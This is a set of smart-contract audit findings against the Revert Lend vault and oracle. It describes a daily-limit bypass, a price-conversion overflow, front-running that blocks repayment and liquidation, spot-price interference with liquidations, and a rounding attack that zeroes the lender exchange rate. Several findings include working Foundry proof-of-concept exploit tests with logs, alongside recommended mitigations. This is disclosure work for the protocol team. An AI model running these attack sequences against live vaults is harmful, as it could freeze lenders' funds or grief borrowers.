Revert Lend - kfx's results

Lines of code

https://github.com/code-423n4/2024-03-revert-lend/blob/main/src/V3Vault.sol#L1250-L1251 https://github.com/code-423n4/2024-03-revert-lend/blob/main/src/V3Vault.sol#L1262-L1263

Vulnerability details

Impact

The role of daily limits is to mitigate the effects of exploits. To this end, they should be set to conservative values. However, the code currently allows an increase in deposits or borrows by a factor of 3.4 times in just two subsequent blocks (provided certain conditions are met), rendering the protection much less powerful than expected.

The documentation describes the limits (specifically the debt limit) as follows: "The Max Daily Debt Increase (MDDI) determines the maximum increase in the total value of loans issued by the protocol within a 24-hour period. Set at 10%, this cap ensures that the maximum loan amount provided can only grow by 10% of the total stablecoin deposits in any given 24-hour period."

The code that implements this protection has several separate problems, leading to the limits being less effective than intended.

Focusing on the lend limit (the code handling the debt limit is similar and has the same problems):

1. The updated value of lendIncreaseLimit is computed as assets * (Q32 + MAX_DAILY_DEBT_INCREASE_X32) / Q32, while it should be computed as assets * MAX_DAILY_DEBT_INCREASE_X32 / Q32 to match the documentation. The former expression allows it to rise by 110% daily, not 10% daily as documented.

2. Rather than taking any 24-hour period as the reference, the protocol uses a calendar day as a reference. This means that at 00:00 o'clock, the lend limit is reset. An attacker can group their transactions, performing one at 23:59 and the other at 00:00, to get more than double the daily lend limit within a few seconds.

3. The apparent value of the remaining limit is stored in the public variable dailyLendIncreaseLimitLeft. However, the variable stores a cached value. In the deposit function, as a first step, _resetDailyLendIncreaseLimit is called, which will update the limit if a new day has started. (For the debt limit—in the borrow function). While this is not a vulnerability as such, this inconsistency will lead to a bad UX.

The PoC below demonstrates all of the above with a vault that initially has x assets deposited.

The expectation is that any transactions in two subsequent blocks can increase the deposit by no more than x / 10 tokens. The actual increase is 3.4x tokens—a difference of 34 times, and 3.4 times the initial value of the vault.

The PoC is for the lend logic, however, a similar PoC could be made for borrow logic as well, since the limits are implemented in the same way. Bypassing the borrow limits, in particular, makes the vault vulnerable to the attack described in the Whitepaper, Section 7.3.3 "Example Scenario".

Proof of Concept

    function testDailyLendLimitTooBig() external {
        uint256 globalLimit = 1e12;
        uint256 dailyMinLimit = 1e9;
        vault.setLimits(0, globalLimit, globalLimit, dailyMinLimit, dailyMinLimit);

        vm.prank(address(WHALE_ACCOUNT));
        USDC.approve(address(vault), type(uint256).max);

        // start by preparing the vault with some min deposits
        for (uint i = 0; i < 10; ++i) {
            vm.prank(address(WHALE_ACCOUNT));
            vault.deposit(dailyMinLimit, WHALE_ACCOUNT);
            vm.warp(block.timestamp + 1 days);
        }

        uint256 balanceBeforeAttack = USDC.balanceOf(address(vault));
                
        // now the attack begins

        // go the end of the day
        uint256 lastSecondInDay = block.timestamp / (1 days) * (1 days) + 1 days - 1;
        vm.warp(lastSecondInDay);

        // deposit the whole daily limit
        uint256 day1ExpectedLimit = USDC.balanceOf(address(vault)) / 10;
        uint256 day1ApparentLimit = vault.dailyLendIncreaseLimitLeft();
        uint256 day1ActualLimit = 10999999998;
        vm.prank(address(WHALE_ACCOUNT));
        vault.deposit(day1ActualLimit, WHALE_ACCOUNT);

        // move to the next block (timestamp one second later)
        vm.warp(block.timestamp + 1);

        uint256 day2ExpectedLimit = USDC.balanceOf(address(vault)) / 10;
        uint256 day2ApparentLimit = vault.dailyLendIncreaseLimitLeft();
        uint256 day2ActualLimit = 23099999994;
        vm.prank(address(WHALE_ACCOUNT));
        vault.deposit(day2ActualLimit, WHALE_ACCOUNT);

        console.log("day 1 limits");
        console.log("  expected =", day1ExpectedLimit);
        console.log("  apparent =", day1ApparentLimit);
        console.log("  actual   =", day1ActualLimit);
        console.log("day 2 limits");
        console.log("  expected =", day2ExpectedLimit);
        console.log("  apparent =", day2ApparentLimit);
        console.log("  actual   =", day2ActualLimit);

        uint256 balanceDelta = USDC.balanceOf(address(vault)) - balanceBeforeAttack;
        console.log("balanceBeforeAttack   =", balanceBeforeAttack);
        console.log("balanceDelta          =", balanceDelta);
        console.log("expectedMaxDelta      =", balanceBeforeAttack / 10);
    }

[PASS] testDailyLendLimitTooBig() (gas: 501928)
Logs:
  day 1 limits
    expected = 1000000000
    apparent = 8899999998
    actual   = 10999999998
  day 2 limits
    expected = 2099999999
    apparent = 0
    actual   = 23099999994
  balanceBeforeAttack   = 10000000000
  balanceDelta          = 34099999992
  expectedMaxDelta      = 1000000000

[PASS] testDailyLendLimitTooBig1() (gas: 2779477)
Test result: ok. 2 passed; 0 failed; 0 skipped; finished in 678.27ms

Tools Used

Manual review

Recommended Mitigation Steps

Fix the three problems mentioned above to ensure the code behaves as documented. Problem 1 mitigation: Revise the code to accurately reflect the documented intent. Problem 2 mitigation: Implement a rolling 24-hour period check. Problem 3 mitigation: Ensure the dailyLendIncreaseLimitLeft() accurately reflects the current state.

Assessed type

Invalid Validation

Lines of code

https://github.com/code-423n4/2024-03-revert-lend/blob/main/src/V3Oracle.sol#L304-L305

Vulnerability details

Impact

If the V3Oracle uses Chainlink as price source, it does some price conversion computations in lines 304-305. These lines compute multiplication before division, and the intermediate result will not always fit in a 256-bit integer:

chainlinkPriceX96 = (10 ** referenceTokenDecimals) * chainlinkPriceX96 * Q96 / chainlinkReferencePriceX96
            / (10 ** feedConfig.tokenDecimals);

For example, let's say that the reference token has 18 decimals, and the price returned by the Chainlink's feed is 20, multiplied by 10 ** feedConfig.feedDecimals. This means that the function call to _getChainlinkPriceX96 in line 299 sets the initial value of chainlinkPriceX96 to 20 * Q96.

Now, the intermediate result (10 ** referenceTokenDecimals) * chainlinkPriceX96 * Q96 evaluates as:

(10 ** 18) * (20 * Q96) * Q96

The result does not fit in a 256-bit unsigned integer.

Since Revert Lend heavily relies on oracle prices, this overflow makes the protocol unuseable for such price values if the Chainlink oracle is used (ether for price, or for validation of pool's TWAP price), effectively pausing its operation when this problem happens. The protocol may be reconfigured by the admin to use only Uniswap pool's TWAP as the oracle price, however, it (1) requires admin intervention, (2) will not be safe for token pairs that don't have deep enough Uniswap pools on the chain Revert Lend is operating, (3) reduces the overall safety of the system as cross-oracle validation becomes impossible.

Tools Used

Manual review

Recommended Mitigation Steps

Rewrite the expression. Potentially it could be done using FullMath.mulDiv:

chainlinkPriceX96 = FullMath.mulDiv(chainlinkPriceX96 * (10 ** referenceTokenDecimals), Q96,
    chainlinkReferencePriceX96) / (10 ** feedConfig.tokenDecimals);

Assessed type

Under/Overflow

Lines of code

https://github.com/code-423n4/2024-03-revert-lend/blob/435b054f9ad2404173f36f0f74a5096c894b12b7/src/V3Vault.sol#L696-L698 https://github.com/code-423n4/2024-03-revert-lend/blob/435b054f9ad2404173f36f0f74a5096c894b12b7/src/V3Vault.sol#L973-L975

Vulnerability details

Impact

At the moment, both repay and liquidate calls will fail if the amount of shares that the transaction attempts to repay exceeds the outstanding debt shares of the position, with RepayExceedsDebt and DebtChanged errors respectively.

This enables an attacker to keep repaying very small amounts, such as 1 share, of the debt, causing user / liquidator transactions to fail.

The attack exposes risks for users who are close to the liquidation theshold from increasing their position's health, and also from self-liquidating their positions once they're already below the threshold.

Proof of Concept

    function testRepaymentFrontrun() external {
        address attacker = address(0xa1ac4e5);

        _setupBasicLoan(true);

        vm.prank(WHALE_ACCOUNT);
        USDC.approve(address(vault), type(uint256).max);

        vm.prank(WHALE_ACCOUNT);
        USDC.transfer(address(attacker), 1e12);

        vm.prank(attacker);
        USDC.approve(address(vault), type(uint256).max);
        
        // wait 7 day - interest growing
        vm.warp(block.timestamp + 7 days);

        uint256 debtShares = vault.loans(TEST_NFT);

        vm.prank(attacker);
        vault.repay(TEST_NFT, 1, true); // repay 1 share

        // user's repayment fails
        vm.prank(WHALE_ACCOUNT);
        vm.expectRevert(IErrors.RepayExceedsDebt.selector);
        vault.repay(TEST_NFT, debtShares, true); // try to repay all shares

        // attacker (or someone else) can liquidate the position now
        vm.prank(attacker);
        vault.liquidate(IVault.LiquidateParams(TEST_NFT, debtShares - 1, 0, 0, attacker, ""));
    }


    function testLiquidationFrontrun() external {
        address attacker = address(0xa1ac4e5);

        _setupBasicLoan(true);

        vm.prank(WHALE_ACCOUNT);
        USDC.approve(address(vault), type(uint256).max);

        vm.prank(WHALE_ACCOUNT);
        USDC.transfer(address(attacker), 1e12);

        vm.prank(attacker);
        USDC.approve(address(vault), type(uint256).max);
               
        // wait 7 day - interest growing
        vm.warp(block.timestamp + 7 days);

        uint256 debtShares = vault.loans(TEST_NFT);

        vm.prank(attacker);
        vault.repay(TEST_NFT, 1, true); // repay 1 share

        // user's self-liquidation fails
        vm.prank(WHALE_ACCOUNT);
        vm.expectRevert(IErrors.DebtChanged.selector);
        vault.liquidate(IVault.LiquidateParams(TEST_NFT, debtShares, 0, 0, WHALE_ACCOUNT, ""));
    }

Tools Used

Manual review

Recommended Mitigation Steps

Allow to attempt to repay an unlimited amount of shares. Send back to the user tokens that were not required for the full repayment.

Assessed type

DoS

Lines of code

https://github.com/code-423n4/2024-03-revert-lend/blob/435b054f9ad2404173f36f0f74a5096c894b12b7/src/V3Vault.sol#L702-L706 https://github.com/code-423n4/2024-03-revert-lend/blob/435b054f9ad2404173f36f0f74a5096c894b12b7/src/V3Oracle.sol#L95-L131 https://github.com/code-423n4/2024-03-revert-lend/blob/435b054f9ad2404173f36f0f74a5096c894b12b7/src/V3Oracle.sol#L422

Vulnerability details

Impact

The Uniswap v3 spot price is easily manipulated. Revert Lend correctly aims to protect the users of the protocol by using a trusted oracle price (either Chainlink, TWAP, or both combined).

However, some liquidations are wrongly prevented, because the protocol uses the pool's spot price as one of the inputs to compute a position's value.

In the liquidation process, the spot price is used by the function _getAmounts, at the end of this call chain: V3Vault::liquidate -> V3Vault::_checkLoanIsHealthy -> V3Oracle::getValue -> V3Oracle::getPositionBreakdown -> V3Vault::_getAmounts

The spot price is obtained from the pool, the _initializeState call in getPositionBreakdown. The amounts returned by _getAmounts do, in fact, correctly describe the amounts in the position. However, any difference between the spot price and the oracle price will cause the position to be overvalued, compared to its value at the trusted (oracle) price, in this way making some unhealthy positions appear to be healthy, and causing the liquidation to revert.

To see how the problem may happen, consider an example. Let's say there's a pool with tokens X and Y trading at the price 4.0 (where the price P=y/x), and the borrower has collateralized their position, with a price range from 1.0 to 4.0, with four Y tokens currently in the position. Let's say the position gets liquidated if its value goes below 75% of the initial value.

Initially, when P=4.0, then V=4.0.

Assume that the price rapidly changes. WLOG, assume the pool price goes down, specifically it crashes to P_pool=1.0, while the slower oracle updates to an in-between price P_oracle=2.0.

The position now has just two X tokens in it, since the average execution price is the geometric mean between the initial and the final price. It follows that: V_pool_price=2 * 1.0 = 2.0 But when using the P_oracle=2.0, the protocol will compute: V_oracle_price=2.0 * 2 = 4.0 Here, V_pool_price is the value of the position using the pool's spot price, and V_oracle_price is the value using the oracle's price. The V_oracle_price value computed as above implies that the position is healthy.

Let's consider two cases now:

1. The oracle price is the "true" price, and the pool's price has been manipulated by an attacker or a sandwich bot.
2. The pool price is the "true" price, and the oracle price is lagging behind.

For case (1), using P=2.0, we believe that the current composition of the position has been manipulated, and the implied "true" composition of the position is 50% X and 50% Y. The implied value of the position is equal to V_implied = 4.0 / sqrt(2) = 2.83, below the liquidation threshold.

For case (2), using P=1.0, the implied "true" composition matches its actual composition, and its value is V_pool_price=2.0, again below the liquidation threshold. Moreover, as the value of a position is a monotonic function of the price, for any "true" price below P_oracle, the implied value of the position is below the threshold. As long as we believe the "true" price is at or below the oracle price, the position should be liquidated.

To clarify, such extreme price changes are used to simplify the example. For a position close to the liquidation limit, even a 2% price change, with the oracle lagging 1% behind, will create the same problem.

Finally, there's the question of the actual assets obtained from the liquidation. The composition of the assets is, of course, determined by the pool's spot price. Again, consider two cases:

1. The pool's price has been manipulated. In this case, it's fine that the liquidation earns extra profit from the liquidation. That profit comes at the expense of the manipulator, not from the protocol or the user being liquidated.
2. The oracle's price is lagging. In this case, there's no extra profit for the liquidator. The user again can't complain, as they let their position to become unhealthy.

In either case, it's fine to give the actual assets in the position to the liquidator. Furthermore, we can expect the liquidators to be sophisticated actors. For such an actor, the slippage check should be sufficient protection for the downside risks.

Tools Used

Manual review.

Recommended Mitigation Steps

Change the logic of the getValue function return the value implied by the oracle price (i.e. using asset composition implied by the oracle price). This value is guaranteed to always be less or equal to the result of getValue as it's implemented currently. The change is especially important for liquidations, to ensure they cannot be prevented by making unhealthy positions appear healthy via spot price manipulation, but will also serve well for health checks done in other contexts (during borrowing and transforming).

Another way to mitigate the attack is to make sure the maxPoolPriceDifference setting is set to a low enough value to make the attack less likely (while still possible, even at the min value of 2%). However, currently:

1. There is no maxPoolPriceDifference upper bound validation in the code, so even a 100% price difference (e.g., price1=0 and price2=1000) is allowed if configured by the admin, making the attack not just possible but easy in some configurations.
2. The "validation" of the oracle price against the spot price is not a correct design decision, IMO, because it uses an unreliable metric (spot price) to check a more reliable metric (oracle price), making the total reliability of this approach only as good as its weakest link.

===

(The remaining part is meant for the protocol team, concerning design decisions in the protocol, and is not strictly part of the issue.)

Arguably the spot price check should be completely removed from the liquidation call. The reason — and this was missed in the HYDN audit — is that manipulating the spot price can only increase the value of positions in the pool. (For in-range positions; it has no effect on positions that are completely out-of-range.)

Consider again an example with tokens X and Y trading at the price 1.0 (where the price P=y/x).Let's say the attacker pushes the price to 4.0. To do that they must sell Y tokens to the pool and buy X tokens from the pool. The average execution price is sqrt(P_initial * P_final) = sqrt(1.0 * 4.0) = 2.0. It implies they have added two times as much Y to the pool as they have removed X. As the true price of Y/X is still 1.0, this action has made the pool's holdings more valuable. The opposite direction is symmetrical. If the attacker pushes the price to 0.25, then they must have added twice as many X to the pool than they have removed Y.

If such a manipulated position is liquidated, the manipulation costs turn into losses of the attacker, and gains are shared between the liquidator and the owner of the liquidity position. There's no financial incentive for this attack. In contrast, the presence of the price check can be used to grief the protocol by making liquidations harder (as the liquidator has to reverse-manipulate the pool's price, potentially at some cost, that is ~ similar to the forward-manipulation cost borne by the attacker).

In short, manipulating the spot price in the pool can never make a healthy position unhealthy, as long as the oracle price is used to compute it's value. There's no need to revert if the spot price has been manipulated.

Assessed type

Other

Lines of code

https://github.com/code-423n4/2024-03-revert-lend/blob/main/src/V3Vault.sol#L1137

Vulnerability details

Impact

The function _handleReserveLiquidation will attempt to use lender deposits to socialize the costs of any bad debt that the protocol can incur, if there is not sufficient reserves left.

The function does this by updating the share/asset conversion rate for the lenders:

newLendExchangeRateX96 = (totalLent - missing) * newLendExchangeRateX96 / totalLent;

Here, missing is the amount that cannot be covered from the reserves. If missing is exactly equal to totalLent, then the new exchange will become zero.

The exchange rate is updated only in this function and in _calculateGlobalInterest. The latter computes the new exchange rate as a function of the old, via old + old * k computation, so once the rate becomes zero, it can never become anything else again. Zero exchange rate will effectively prevent any futher deposits to the vault, as well as any other operations.

An attacker can attemp to force this situation to occur by exploiting rouding errors. For example, they can deposit a Uniswap v3 positin worth 3 wei as a collateral and borrow 2 wei. If the price of the collateral drops sufficiently (more than 1/3) they can self-liquidate the loan, forcing the newLendExchangeRateX96 to become zero.

It is possible a similar attack could also be used to force newLendExchangeRateX96 to become a very small positive number. Then the vault would become vulnerable to share inflation attack, allowing the attacker to steal from subsequent depositors.

Proof of Concept

function testLiquidationFromReservesPoC() external {
    // -- setup -- NOT part of the attack!

    // ignore Uniswap pool price in liquidations
    // (the PoC simulates only changes in Chainlink price, for simplicity)
    oracle.setMaxPoolPriceDifference(10001);

    // found this example v3 position on the mainnet
    address NFT_ACCOUNT = 0x9A8dEF1275E081c444d97710bbA164C11a578C5A;
    uint256 NFT_3 = 1433; // DAI/WETH 0.3%
    
    // the real-world value of the example NFT position is quite big
    // we want to reduce the value lot, to simulate an attacker that  very small v3 position
    // it's actual value is >420 USD, but we want to get it down to a ~0.000003 USD
    uint256 fullValue;
    (fullValue,,,) = oracle.getValue(NFT_3, vault.asset());
    console.log("initial v3 pos value:  ", fullValue);
    _changePrice(CHAINLINK_DAI_USD, 0, 1);
    _changePrice(CHAINLINK_ETH_USD, 908, 100_000_000_000);
    (fullValue,,,) = oracle.getValue(NFT_3, vault.asset());
    console.log("updated  v3 pos value: ", fullValue);

    // -- Attack starts here

    // deposit small amount to borrow
    _deposit(2 wei, WHALE_ACCOUNT);
    // add the small position as a collateral
    vm.startPrank(NFT_ACCOUNT);
    NPM.approve(address(vault), NFT_3);
    vault.create(NFT_3, NFT_ACCOUNT);
    vault.borrow(NFT_3, 2 wei);
    vm.stopPrank();

    // simulate 34% price drop in ETH price
    // (could be natural -- just wait for a while --, or could "helped" by the attacker)
    _changePrice(CHAINLINK_ETH_USD, 66, 100);

    // attacker (or someone else) can liquidate the position now
    vm.startPrank(WHALE_ACCOUNT);
    USDC.approve(address(vault), type(uint256).max);
    _printVaultInfo("before liquidation");
    vault.liquidate(IVault.LiquidateParams(NFT_3, vault.loans(NFT_3), 0, 0, WHALE_ACCOUNT, ""));
    _printVaultInfo("after liquidation");
    vm.stopPrank();

    // the vault is not usable anymore
    vm.expectRevert();
    vm.prank(WHALE_ACCOUNT);
    vault.deposit(1e6, WHALE_ACCOUNT);
}

function _printVaultInfo(string memory message) internal {
    uint256 debt;
    uint256 lent;
    uint256 balance;
    uint256 available;
    uint256 reserves;
    uint256 debtRate;
    uint256 lendRate;

    (debt, lent, balance, available, reserves, debtRate, lendRate) = vault.vaultInfo();
    console.log(message);
    console.log("debt   =", debt);
    console.log("lent   =", lent);
    console.log("balance=", balance);
    console.log("availbl=", available);
    console.log("reserve=", reserves);
    console.log("debtRate=", debtRate);
    console.log("lendRate=", lendRate);
    console.log("\n");
}

// simulate collateral value change
function _changePrice(address interfaceAddr, int256 factor, int256 divider) internal {
    (uint80 roundId, int256 answer,,,uint80 answeredInRound) = AggregatorV3Interface(interfaceAddr).latestRoundData();

    int256 newAnswer = answer * factor / divider;

    vm.mockCall(
            interfaceAddr,
            abi.encodeWithSelector(AggregatorV3Interface.latestRoundData.selector),
            abi.encode(roundId, newAnswer, block.timestamp, block.timestamp, answeredInRound));
}

Output:

[PASS] testLiquidationFromReservesPoC() (gas: 983096)
Logs:
  initial v3 pos value:   420040276
  updated  v3 pos value:  3
  before liquidation
  debt   = 2
  lent   = 2
  balance= 0
  availbl= 0
  reserve= 0
  debtRate= 79228162514264337593543950336
  lendRate= 79228162514264337593543950336
  

  after liquidation
  debt   = 0
  lent   = 0
  balance= 0
  availbl= 0
  reserve= 0
  debtRate= 79228162514264337593543950336
  lendRate= 0

Tools Used

Manual review

Recommended Mitigation Steps

Revert liquidations if they would result in zero or very small value of newLendExchangeRateX96.

Assessed type

Other